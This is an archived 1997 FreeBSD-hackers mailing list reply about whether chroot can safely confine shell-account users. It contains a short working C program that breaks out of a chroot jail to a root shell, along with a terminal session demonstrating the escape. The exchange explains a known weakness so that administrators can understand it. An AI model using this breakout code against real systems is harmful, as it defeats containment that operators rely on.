Skip site navigation (1)Skip section navigation (2)
Date:      Thu, 29 May 1997 17:40:23 -0700
From:      Julian Elischer <julian@whistle.com>
To:        Warner Losh <imp@village.org>
Cc:        Terry Lambert <terry@lambert.org>, dec@phoenix.its.rpi.edu, peter@grendel.IAEhv.nl, mrcpu@cdsnet.net, hackers@FreeBSD.ORG
Subject:   Re: Correct way to chroot for shell account users?
Message-ID:  <338E21F7.446B9B3D@whistle.com>
References:  <199705291456.HAA03526@phaeton.artisoft.com> <E0wX6vy-0002fp-00@rover.village.org>

next in thread | previous in thread | raw e-mail | index | archive | help
Warner Losh wrote:
> 
In fact here is a program to give you a root shell out of the 
chroot environ..
I just tested it
it works

> Michael Smith posted the program to climb out of the jail here a few
> months ago.  This isn't theoretical, but it works.  It was something
> along the lines of the following.  You can find it in the archives.
> 
> 
     #include <unistd.h>

main(int        argc, char **argv) {
        mkdir("foo");
        chroot("foo");
        chdir("..");
        chdir("..");
        chdir("..");
        chdir("..");
        chdir("..");
        chdir("..");
        chdir("..");
        chdir("..");
        chdir("..");
        chdir("..");
        chdir("..");
        chdir("..");
        chdir("..");
        chdir("..");
        chdir("..");
        chroot(".");
        execl("/bin/sh", "sh", NULL);
}


built1% cd /
built1% df .
Filesystem  1K-blocks     Used    Avail Capacity  Mounted on
/dev/sd0a       38991    24797    11075    69%    /
built1% sudo chroot /work/julian/2.2R2
# df .
Filesystem   1K-blocks     Used    Avail Capacity  Mounted on
/dev/sd1s1f    2033631  1741315   129626    93%    /work
# cd /tmp
# cat >xx.c
[type in file above]
# make xx   
cc -O  xx.c  -o xx
# exec ./xx
# df .
Filesystem  1K-blocks     Used    Avail Capacity  Mounted on
/dev/sd0a       38991    24797    11075    69%    /
# exit
built1%



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?338E21F7.446B9B3D>